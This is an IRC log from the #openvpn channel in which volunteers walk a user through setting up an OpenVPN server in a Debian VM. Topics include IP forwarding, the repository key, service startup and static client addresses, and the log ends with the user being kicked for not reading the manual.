15:49 < krantz> So Im screwed.
15:49 < Thermi> just revert it.
15:50 < Thermi> like run to the machine
15:50 < Thermi> :D
15:50 < krantz> Cant. I cant access the server.
15:50 < krantz> Its like 100miles there
15:50 < Thermi> Well, sh*t.
15:50 < Thermi> You could have asked.
15:50 < rob0> Sucks to be you. :(
15:50 < Thermi> I had the same issue, when I tried that.
15:50 < Thermi> Luckily, my server was just 20 meters away from my desk.
15:51 < Thermi> krantz, no management panel from the hoster or something?
15:53 < krantz> Im in again
15:54 < krantz> The bridge didnt do sh*t.
15:55 < Thermi> Yep.
15:55 < Thermi> Just enable forwarding and you're fine.
15:56 < krantz> Sighs.
15:56 < krantz> And how?
15:56 < Thermi> http://technet.microsoft.com/en-en/library/ff687814(v=ws.10).aspx
15:58 < rob0> If your OS can't do IP forwarding, it won't be able to do this.
15:58 < Thermi> he's using Windows 7, he said.
15:59 < rob0> maybe someone supports that? I sure don't.
16:01 < krantz> Only works in Windows Server OS.
16:01 < Thermi> Fuck, then. :/
16:02 < Thermi> You can still use the VM in Oracle Virtualbox, no?
16:04 < krantz> I can do an apt-get install of the openvpn server or do I have to download a new version and install it manually?
16:04 < Thermi> nope, you can do that.
16:04 < Thermi> I guess it's running debian, no?
16:04 < krantz> Yep.
16:04 < rob0> apt-get in Windows?
16:05 < Thermi> nope.
16:05 < Thermi> He has a VM in Oracle Virtualbox running Debian.
16:05 < rob0> oh, the VM, I see
16:06 < Thermi> krantz: enable ip forwarding: sysctl -w net.ipv4.ip_forward=1
16:06 < krantz> In Windows Im guessing.
16:06 < Thermi> no
16:07 < Thermi> Debian.
16:07 < krantz> Oh.
16:07 < Thermi> put "net.ipv4.ip_forward = 1" into /etc/sysctl.conf or similiar. I don't have any Debian machines here anymore. ^^
16:07 < krantz> Ill just have to install and setup the vpn server first.
16:07 < Thermi> Take your time. :)
16:10 < rob0> !linipforward
16:10 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
16:11 < Thermi> TL;DR: put "net.ipv4.ip_forward = 1" into /etc/sysctl.conf
16:11 < Thermi> Debian's default iptables policies are all "ACCEPT" :)
16:15 < krantz> I installed it
16:15 < krantz> But i cant find any folders called easy-rsa.
16:17 < Thermi> I think you first have to install openssl
16:18 <@krzee> !easy-rsa
16:18 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads
16:18 < krantz> ok...
16:18 < krantz> done.
16:18 < krantz> now reinstall openvpn?
16:18 < krantz> as in apt-get install openvpn
16:19 <@krzee> if its not installed, then you prolly wany to install it
16:19 <@krzee> or if your distro doesnt have up to date version you can add the openvpn repo first
16:19 <@krzee> !repo
16:19 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
16:20 < Thermi> I think, OpenVPN from the official repos has all the features he needs.
16:21 -!- mete [~mete@mete.shell.la] has joined #openvpn
16:28 < krantz> Maybe need to do and update of the dist :)
16:32 < krantz> how do i find out what version of debian im running?
16:33 < Thermi> try lsb_release -a
16:33 < Thermi> perhaps it's noted in some file under /usr/share
16:33 < krantz> Oh, 6.0.6.
16:33 < krantz> Thanks.
16:37 < krantz> Hm. I ran the command: wget -O - http://repos.openvpn.net/repos/repo-public.gpg|apt-key add -
16:38 < krantz> gave me a few errors
16:38 < Thermi> did you configure your network and nameservers?
16:38 < krantz> it downloaded it
16:38 < krantz> but it couldnt install the gpg
16:39 < Thermi> there are whitespaces missing in between the url, the pipe and the pipe and apt-key
16:40 < krantz> This is what i read it from. http://repos.openvpn.net/repos/apt/conf/repos.openvpn.net-squeeze-stable.txt
16:40 < Thermi> it should be "wget -O - http://repos.openvpn.net/repos/repo-public.gpg | apt-key add - "
16:40 < krantz> Hm
16:40 < krantz> ok
16:40 < krantz> Strange that they've missed that
16:41 < krantz> still gives me the same errors
16:41 < Thermi> what are the errors?
16:42 < krantz> http://pastebin.com/KVkXacvT
16:42 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
16:43 < Thermi> that's because you need to put the whole wget thingy into quotes, so it all gets executed with root privileges
16:43 < Thermi> sudo "wget .... "
16:43 < krantz> i did
16:43 < krantz> ah
16:43 < krantz> oh
16:43 < Thermi> Doesn't look like it.
16:43 < krantz> hold on
16:44 < Thermi> or sudo ' wget .... '
16:44 < krantz> then i get command not found
16:44 < Thermi> on what command?
16:45 < krantz> on that command
16:45 < Thermi> last one?
16:45 < krantz> ye
16:45 < krantz> sudo 'wget -O - http://repos.openvpn.net/repos/repo-public.gpg | apt-key add - '
16:45 < Thermi> curious.ö
16:45 < Thermi> -ö
16:45 < Thermi> can you just run it as root?
16:45 < krantz> sure
16:46 < krantz> that did it
16:46 < krantz> but without the ''
16:46 < Thermi> Yep.
16:46 < krantz> strange
16:46 < Thermi> Has to do either with sudo or shell quoting.
16:46 < krantz> that i dont have access to do certain things as regular user using sudo
16:46 < Thermi> nah
16:46 < krantz> k
16:47 < Thermi> had to do with your shell doing sudo wget ... and than piping that into apt-key
16:47 < Thermi> but you ran apt-key without root privileges.
16:47 < Thermi> because it wasn't quoted, so the shell interpreted it as 2 commands and not as one
16:47 < krantz> i didnt do anything
16:47 < krantz> just ran the one command
16:48 < Thermi> yes
16:48 < Thermi> but the shell interpreted is as 2. :)
16:48 < krantz> everything else in that log i sent u was done by the command itself
16:48 < Thermi> because of the pipe.
16:48 < krantz> hm ok
16:48 < krantz> dont understand.
16:48 < krantz> this is why i have REALLY big issues understanding and learning linux
16:48 < krantz> noting works
16:48 < krantz> nothingÄ
16:48 < krantz> ehm
16:48 < Thermi> many caveats.
16:48 < krantz> nothing*
16:49 < Thermi> http://linuxcommand.org/learning_the_shell.php <- might help.
16:49 <@vpnHelper> Title: LinuxCommand.org: Learning the shell. (at linuxcommand.org)
16:49 < Thermi> Now let's continue with OpenVPN
16:49 < krantz> ye
16:51 < krantz> uhm
16:52 < krantz> now when i do apt-get update i get the error message: E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)
16:52 < krantz> E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?
16:52 < Thermi> yes.
16:52 < Thermi> You have to run that with either sudo or root.
16:52 < krantz> i have
16:52 < krantz> both
16:52 < Thermi> do ps aux | grep apt and tell me the output
16:52 < krantz> oh nevermind
16:52 < krantz> i know what it is
16:53 < krantz> hold on
16:53 < Thermi> I guess there is still apt-get or apt running, so it's locked.
16:53 < Aketzu_> or aptitude or synaptics or some other graphical package manager
16:53 < Thermi> ^
16:54 < krantz> ok...
16:54 < Thermi> aptitude and synaptic are only frontends for dpkg.
16:54 < krantz> now i installed openvpn
16:54 < krantz> now what
16:54 < krantz> did locate openvpn
16:54 < Thermi> Can you get your old config?
16:54 < krantz> no change
16:54 < krantz> sure
16:54 < Thermi> okay.
16:54 < Aketzu_> 'sudo lsof -n | grep dpkg' might be best way of finding out which has it locked
16:55 < Thermi> so what doesn't work? reaching your lan pcs from the vpn and vice versa?
16:55 < krantz> yes
16:55 < krantz> now wait
16:55 < Thermi> did you adjust the route you installed on the router to point to the vm?
16:55 < krantz> i said i installed openvpn
16:55 < krantz> but the folders that are suppose to be there, arent
16:55 < Thermi> so you're missing /etc/openvpn?
16:55 < krantz> yes
16:56 < krantz> or no
16:56 < krantz> its there
16:56 < krantz> but theres nothing in it except update-resolv-conf
16:56 < Thermi> yep.
16:56 < Thermi> just put your config and certificate in there
16:56 < Thermi> or certificates
16:56 < krantz> and dh and such?
16:56 < Thermi> exactly
16:56 < krantz> hm
16:56 < Thermi> and adjust the pathes in the config
16:57 < krantz> how do i transfer that from windows to linux?
16:57 < Thermi> hm.
16:58 < Thermi> ftp or copying with ctrl+c, if you have shared clipboards
17:06 < krantz> done.
17:07 < krantz> Thermi:
17:08 < Thermi> krantz: ?
17:08 < krantz> files are there
17:08 < krantz> now what
17:08 < krantz> :)
17:09 < Thermi> did you correct the pathes in the openvpn config?
17:09 < Thermi> and are there windows specific options?
17:09 < Thermi> When you are done, do service openvpn start
17:10 < krantz> should i disable the push route in the server conf?
17:11 < Thermi> no.
17:11 < krantz> k
17:11 < krantz> uhm
17:11 < krantz> then i have to reqite the whole conf
17:11 < krantz> cus its a windows conf
17:11 < Thermi> Perhaps you have to first create a tun/tap device before you can start openvpn
17:12 < krantz> im used to see example confs in linux
17:12 < Thermi> nah, just a few options are specificaly for windows.
17:12 < krantz> k
17:12 < Thermi> I can show you mine here and compare.
17:13 < krantz> no need it thinki
17:14 < krantz> ok
17:14 < krantz> the config should be ok
17:14 < krantz> now what?
17:15 < krantz> service command not found
17:15 < Thermi> can you do autocomplete on it?
17:15 < krantz> ehm
17:15 < Thermi> I used service on my old install of debian :/
17:15 < krantz> forgot the sudo
17:15 < Thermi> h.
17:15 < krantz> now its on
17:15 < krantz> now what
17:16 < Thermi> do you have a terminal multiplexer?
17:16 < krantz> i gotta change the portforwarding in the router to that machine. brb.
17:16 < Thermi> like byobu?
17:21 < krantz> terminal multiplexer?
17:21 < krantz> i use putty to connect to it
17:22 < krantz> Thermi?
17:22 < Thermi> yes?
17:23 < krantz> What do you mean?
17:23 < krantz> Terminal Multiplexer.
17:23 < Thermi> with a terminal multiplexer, you can have several shells inside on session.
17:23 < krantz> Ok?
17:23 < krantz> You mean like Terminator?
17:23 < Thermi> and also reconnect to them when your connection drops or similiar cases
17:23 < krantz> or Screen?
17:23 < Thermi> I don't know terminator. I use byobu. Byobu is a wrapper for screen. :)
17:23 < krantz> k
17:24 < krantz> well, yeah
17:24 < krantz> i got that installed
17:24 < Thermi> did you specifiy a log file for openvpn?
17:24 < krantz> not that i know
17:24 < krantz> ill see
17:24 < Thermi> if not, try to look at /var/log/syslog and see, if openvpn logs into there
17:25 < Thermi> or /var/log/daemon.log
17:26 < krantz> commented out the openvpn.log
17:26 < krantz> so it should log now
17:26 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
17:26 < Thermi> did you restart the openvpn service?
17:26 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
17:26 < Thermi> service openvpn restart
17:26 < krantz> yes
17:26 < Thermi> Good.
17:27 < Thermi> see, if it logs.
17:27 < Thermi> You can use less, more, cat, tail and head
17:27 < Thermi> they have very speaking names.
17:28 < krantz> those files have nothing in them
17:28 < Thermi> :<
17:28 < Thermi> the logfile is empty?
17:28 < Thermi> did you specify verb 3 ?
17:28 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
17:28 < Thermi> in your config.
17:29 < krantz> sec.
17:29 < krantz> yes
17:29 < krantz> its enabled
17:29 -!- nikkiheat [~nikkiheat@217.sub-70-208-0.myvzw.com] has joined #openvpn
17:30 < Thermi> okay.
17:30 < Thermi> :/
17:30 < Thermi> Can you test the vpn? If yes, please do so and report, if it works.
17:30 < krantz> doesnt work
17:30 < krantz> i tried.
17:30 < Thermi> connection timed out?
17:30 < krantz> no
17:31 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
17:31 < krantz> i get "management > state <alot of numbers> wait...."
17:31 < krantz> when connectin
17:31 < krantz> connecting
17:31 < Thermi> okay, does the server side log say anything?
17:32 < krantz> nothing
17:32 < Thermi> okay.
17:32 < Thermi> stop openvpn
17:32 < Thermi> then openvpn <path to your config>
17:32 < krantz> done
17:33 < Thermi> does openvpn fork into the background on your installation?
17:33 -!- Denial [Denial@90.202.26.221] has quit []
17:33 < krantz> huh? fork?
17:33 < Thermi> if it does, then please stop it from doing so. E.g. comment the parameters for that from the config for as long as we debug
17:33 < Thermi> yes
17:33 < Thermi> !fork
17:33 < Thermi> god damnit.
17:34 -!- nikkiheat [~nikkiheat@217.sub-70-208-0.myvzw.com] has quit [Ping timeout: 245 seconds]
17:34 < Thermi> fork means, it creates a copy of itself. Into the background means, that the copy of the program doesn't attach to your terminal, but just runs in the background.
17:34 -!- tharkun [~0@187.188.166.5] has joined #openvpn
17:34 < krantz> yes
17:34 < krantz> it does
17:35 < krantz> when i do the service openvpn start
17:35 < krantz> yes
17:35 < Thermi> don't use that
17:35 < krantz> ok
17:35 < krantz> what do u want me to us?
17:35 < Thermi> just openvpn <path to the config>
17:35 < krantz> use*
17:36 < krantz> like sudo openvpn /etc/openvpn/server.ovpn
17:36 < Thermi> yep.
17:36 < krantz> did that. tells me nothing
17:36 < Thermi> does it occupy your terminal?
17:36 < Thermi> or does it just exit?
17:36 < krantz> now i can connect
17:37 < krantz> it occupy my terminal, yes.
17:37 < krantz> occupies*
17:37 < Thermi> okay, then it's doing just what I expect it to do.
17:37 < Thermi> Okay now you can connect. Any errors or can you use the vpn just fine?
17:38 < Thermi> still the same as before?
17:38 < krantz> works
17:38 < krantz> i can connect
17:38 < krantz> and i get the ip .6
17:39 < Thermi> you can access the lan from the vpn?
17:39 < krantz> no
17:40 < krantz> just the vpn server ip itself
17:40 < krantz> 85.1
17:40 < Thermi> and the lan side ip of the server?
17:40 < krantz> yes
17:40 < krantz> 10.16.
17:40 < Thermi> do iptables -P FORWARD ACCEPT
17:40 < Thermi> as root
17:40 < Thermi> or sudo.
17:43 < Thermi> And try to access the lan
17:43 < krantz> did that, no change
17:44 < Thermi> did you really do sysctl -w net.ipv4.ip_forward = 1 as root or via sudo?
17:44 < krantz> oh...
17:44 < Thermi> *net.ipv4.ip_forward=1
17:45 < krantz> yay!
17:45 < krantz> it works
17:45 < Thermi> :)
17:45 < krantz> darn
17:45 < krantz> love it
17:45 < krantz> thanks
17:45 < Thermi> put net.ipv4.ip_forward=1 in /etc/sysctl.conf
17:45 < krantz> now all i gotta do is to REMEMBER THIS SHIT! :)
17:45 < Thermi> and stop openvpn
17:45 < Thermi> e.g. ctrl+c
17:45 < Thermi> and service openvpn start
17:45 < Thermi> and update-rc.d enable openvpn
17:46 < Thermi> or update-rc.d openvpn enable
17:46 < Thermi> I don't remember the synopsis of update-rc.d :)
17:47 < krantz> dont i have to add iptables -P FORWARD ACCEPT in something aswell?
17:48 < Thermi> I think Debian's default policy for the firewall is accept.
17:48 < Thermi> I was just testing for the case, that the policy was not ACCEPT, but DROP or REJECT
17:49 < krantz> ok
17:49 < Thermi> Did you do all the stuff I told you to do?
17:49 < Thermi> Then the VM should just setup forwarding and start openvpn automaticly on system start.
17:50 < krantz> just a sec.
17:52 < krantz> strange
17:52 < krantz> now when i do service openvpn stop it says it stops in but i can still connect
17:52 < krantz> odd ?
17:52 < Thermi> odd.
17:52 < krantz> do a restart of the box?
17:52 < Thermi> do netstat -tulpen as root and look if openvpn appears in the most right column
17:53 < Thermi> you almost never have to restart a linux for changes to take effect.
17:53 < krantz> yes
17:54 < krantz> its in the list
17:54 < Thermi> do sudo kill $(pgrep openvpn)
17:54 < krantz> there we go
17:54 < Thermi> it's down now, yes?
17:56 < krantz> yes
17:56 < krantz> did service
17:57 < krantz> and update-rc.d
17:57 < Thermi> good.
17:57 < krantz> but still get that wait message in the eclient
17:57 < krantz> client
17:57 < krantz> why is that
17:58 < Thermi> perhaps because of the service script
17:58 < krantz> ok...
17:58 < krantz> so what do i do about it?
17:58 < krantz> just restart the vm and see if it boots up by itself and works?
17:58 < Thermi> I genuinely don't know. Try to google the problem. :/
17:59 < Thermi> What is the exact message?
18:00 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
18:01 < krantz> this is what i find
18:01 < krantz> https://forums.openvpn.net/topic9298.html
18:01 <@vpnHelper> Title: OpenVPN Support Forum Client stuck on connecting : Access Server (at forums.openvpn.net)
18:02 < Thermi> huh. o.O
18:02 < Thermi> did you start openvpn with service openvpn start?
18:02 < Thermi> please do ps aux | grep [o]penvpn
18:02 < Thermi> and paste the line here
18:02 < krantz> yes
18:03 < Thermi> Only, if there is output, of course.
18:04 < krantz> nothing
18:04 < Thermi> and openvpn <path to config> works just fine, yes?
18:04 < Thermi> take a look at daemon.log
18:04 < Thermi> tail -n 200 /var/log/daemon.log
18:05 < Thermi> oh.
18:05 < Thermi> wait.
18:05 < Thermi> I think, I know what it might be
18:05 < Thermi> change the suffix of the file name of the config to .conf
18:05 < krantz> k
18:06 < Thermi> e.g. mv config.ovpn config.conf
18:06 < Thermi> and try to service openvpn start
18:06 < krantz> that did it
18:07 < Thermi> then ps aux | grep [o]penvpn
18:07 < Thermi> does that output a line with openvpn?
18:07 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
18:08 < krantz> root      1247  0.1  0.4   4764  2292 ?        Ss   01:07   0:00 /usr/sbin/openvpn --writepid /var/run/openvpn.server.pid --daemon ovpn-server --cd /etc/openvpn --config /etc/openvpn/server.conf
18:08 < Thermi> Yay, it works!
18:08 < krantz> yep
18:08 < krantz> and i did a reboot aswell
18:08 < krantz> works
18:08 < Thermi> that was unnecessary.
18:08 < Thermi> :D
18:09 < Thermi> Does it work correctly?
18:09 < krantz> wanted to try it
18:09 < krantz> yep
18:09 < krantz> can connect
18:09 < krantz> can access all the other computers aswell
18:09 < krantz> also
18:09 < Thermi> Mission Successfull.
18:09 < krantz> i have other computers on a different subnet running through the same router
18:10 < krantz> i can just add push "route 192.168.11.0 255.255.255.0"
18:10 < krantz> and ill be able to access those aswell im guessing?
18:10 < Thermi> yep.
18:10 < Thermi> What is your profession?
18:11 < krantz> computer consultant in the private sector
18:11 < krantz> why? :)
18:11 < Thermi> Just wanted to know, why you were so helpless. :p
18:11 < Thermi> Want to know what I'm doing?
18:11 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
18:11 < krantz> sure
18:12 < Thermi> IT-security student in the second semester.
18:12 < krantz> now thats something i would never succeed in
18:12 < krantz> i have a bad mind for learning stuff from reading
18:12 < Thermi> Perhaps you just used the wrong tactic for learning.
18:13 < Thermi> Or you're more the type of human who learns better by listening.
18:14 -!- devdel [~d3vd3l@m37-197-21-189.cust.tele2.se] has joined #openvpn
18:14 < Thermi> Anyways, I hope you succeed in future tasks and have a nice day.
18:14 < devdel> same to u
18:14 < devdel> thanks
18:14 < Thermi> I'm going offline now. Goodbye.
18:15 < devdel> byebye
18:15 < Thermi> no problem.
18:17 -!- krantz [~d3vd3l@m37-197-21-189.cust.tele2.se] has quit [Ping timeout: 276 seconds]
18:17 -!- tharkun [~0@187.188.166.5] has joined #openvpn
18:19 -!- devdel [~d3vd3l@m37-197-21-189.cust.tele2.se] has quit [Ping timeout: 245 seconds]
18:38 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
18:43 -!- tharkun [~0@187.188.166.5] has joined #openvpn
18:46 -!- master_o1_master [~master_of@p4FF24F19.dip0.t-ipconnect.de] has joined #openvpn
18:47 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
18:49 -!- master_of_master [~master_of@p4FF24822.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
18:52 -!- tharkun [~0@187.188.166.5] has joined #openvpn
19:09 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
19:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:33 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
20:07 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
20:08 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 264 seconds]
20:25 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
20:29 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
20:33 -!- JAVACODER [~JAVACODER@2.190.34.216] has joined #openvpn
20:35 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
20:40 -!- tharkun [~0@187.188.166.5] has joined #openvpn
20:52 -!- krantz [~krantz@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
20:53 < krantz> So. Thanks to a few of you my openvpn server is working properly and as I want it.
20:53 <@krzee> congrats
20:53 < krantz> Now for another idea i came to think of.
20:54 < krantz> I understand that it is possible to have certain vpn ip-adresses per connected client?
20:54 < krantz> Like for say my cert always uses .6
20:55 < krantz> And I want it to always use that.
20:55 <@krzee> !static
20:55  * krzee pokes vpnHelper 
20:55 < krantz> And my sisters cert always uses .7 and so on.
20:55 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
20:55 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
20:56 < krantz> Ok. Use --ifconfig-push in a ccd entry. In the server or client conf?
20:58 < krantz> I read the howto.
20:58 < krantz> Something about a directory for every user?
20:59 < krantz> Should the config files have certain names?
21:00 <@krzee> !ccd
21:00 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
21:01 < krantz> I dont understand it completely.
21:03 < krantz> So i should add entry --client-config-dir <dirname> (which in this case should be dirname ccd?). Then set the config options for the client in a file within that directory with the name of the user?
21:03 < krantz> Like in my case krantz?
21:05 <@krzee> if your config contains client-config-dir /etc/openvpn/ccd then you would have the dir /etc/openvpn/ccd contain a file EXACTLY named as the common-name of the client who you want to configure
21:06 < krantz> Ok. Great. Thanks.
21:06 <@krzee> yw
21:08 < krantz> So if I want the common-name to use the ip 192.168.85.11 i just add the enry 'ifconfig-push 192.168.85.11'?
21:09 < krantz> Am I thinking right?
21:09 <@krzee> nope
21:09 <@krzee> !static
21:09 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
21:10 < krantz> Why two addresses? Is the second address the gw?
21:10 <@krzee> !man
21:10 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
21:10 < krantz> Well thank you krzee. Duh!
21:10 < krantz> :)
21:11 <@krzee> =] np
21:11 < krantz> So I need to go trhough the whole man to find that? No thanks.
21:11 <@krzee> your browser doesnt have a search feature?
21:11 < krantz> Why search for it when you already have the answer?
21:11 <@krzee> you already know its --ifconfig-push that you want to learn about
21:12 -!- krantz was kicked from #openvpn by krzee [cause im not your bitch, at least attempt to read when given the link]
21:12 -!- krantz [~krantz@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
21:12 < krantz> heh.
21:12 <@krzee> =]
21:13 < krantz> I read the howto about it and I didnt understand it.
21:13 < krantz> How would the man help me any better?
21:13 < krantz> Darnit.
21:13 <@krzee> you asked about a config option
21:13 <@krzee> where the fuck else would i learn about it to tell you?
21:14 <@krzee> EVERY config option is explained in there
21:14 <@krzee> if you THEN dont understand it, then ask
21:14 < krantz> I learn better if someone tells me the answer.
21:14 <@krzee> but dont refuse to read it and expect me or anyone else to spoonfeed you
21:14 <@krzee> because i'll just ban you
21:14 <@krzee> !spoonfeeding
21:14 <@vpnHelper> "spoonfeeding" is http://www.mp3car.com/the-faq-emporium/53368-faq-what-is-spoon-feeding.html
21:17 < krantz> Then what is local?
21:17 < krantz> I mean. There are only virtual IP's.
21:17 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
21:18 <@EugeneKay> What we need is a pig in lipstick.
21:19 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 252 seconds]
21:19 -!- michaelhart_ is now known as michaelhart
21:26 < krantz> I tried it. Failed.
21:26 < krantz> I gave it 192.168.85.11 192.168.85.12
21:26 < krantz> Didnt work
21:27 < krantz> Got an error message telling me it had to exist within the same subnet.
21:29 < krantz> The client that is.
21:29 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
21:33 <@krzee> krantz, look at my examples:
21:33 <@krzee> !static
21:33 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
21:33 <@krzee> instead of 11 12 try 12 11
21:34 < krantz> What examples? They dont tell me anything
21:34 < krantz> OH!
21:34 < krantz> Nevermind.
21:35 < krantz> But in the howto its the other way around
21:36 <@krzee> !howto
21:36 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:36 <@krzee> lemme look
21:38 <@krzee> lemme see if i can edit that, i dont think i can
21:38 < krantz> Something about same subnet 255.255.255.252.
21:38 < krantz> And a Win32 driver.
21:38 <@krzee> but my bot is right ^
21:38 < krantz> But I still want the IP .11 assigned.
21:39 < krantz> Damn Windows.
21:40 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
21:41 <@EugeneKay> !/30
21:41 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
21:41 <@EugeneKay> !read
21:41 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
21:46 < krantz> So I cant have dual digits after the last dot in the ip?
21:46 < krantz> Or what!?
21:47 <@krzee> dual digits?
21:47 < krantz> Yes.
21:48 <@krzee> what are you saying?
21:48 < krantz> That i cant use .1xx example?
21:48 <@krzee> you can
21:48 < krantz> like 192.168.85.11
21:48 <@krzee> but if you are using net30 then it must be the right addresses
21:49 < krantz> Which means?
21:49 <@krzee> read what EugeneKay said
21:49 <@krzee> !/30
21:49 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
21:49 < krantz> And I have.
21:49 <@krzee> #3
21:49 <@EugeneKay> You know what
21:49 <@EugeneKay> I'm tired of listening to my buddy be annoyed
21:49 <@krzee> you cant give a client the ip .11 but you can give him .10
21:49 -!- mode/#openvpn [+b *!*krantz@*.a199.priv.bahnhof.se] by EugeneKay
21:49 -!- krantz was kicked from #openvpn by EugeneKay [So go away]
21:49 <@EugeneKay> I'm saving you from the stupid
21:49 <@krzee> werd
21:50 <@krzee> then i will go shower and drink!
21:50 <@krzee> !beer
21:50 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
21:50 <@EugeneKay> A great idea
21:50 <@krzee> :D
21:50 -!- mode/#openvpn [-b *!*krantz@*.a199.priv.bahnhof.se] by EugeneKay
21:51 -!- JAVACODER [~JAVACODER@2.190.34.216] has quit [Ping timeout: 248 seconds]
21:53 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
21:56 -!- dewour [~dewour@korn46.bitnet.nu] has joined #openvpn
21:56 < dewour> Thanks for that EugeneKay.
21:56 <@EugeneKay> Any time.
21:56 < dewour> I just figured it out when you banned me.
21:56 < dewour> I was not trying to be rude.
21:57 < dewour> But anyways,
21:57 < dewour> I got it working.
21:57 < dewour> All thanks to you guys
21:57 <@EugeneKay> That's okay, I was.
21:57 < dewour> I know.
21:57 < dewour> I noticed.
21:58 -!- krantz [~krantz@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
21:58 < dewour> &quit
21:58 -!- dewour [~dewour@korn46.bitnet.nu] has quit [Client Quit]
22:01 < krantz> !30
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 < krantz> !/30
22:01 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:13 < krantz> Now that I've moved from Windows to Linux enviroment. Do I need to be in a certain directory in Linux to make additional keys? I know I need the vars and build-key files.
22:14 < krantz> As the openvpn directories doesn't match the howto.
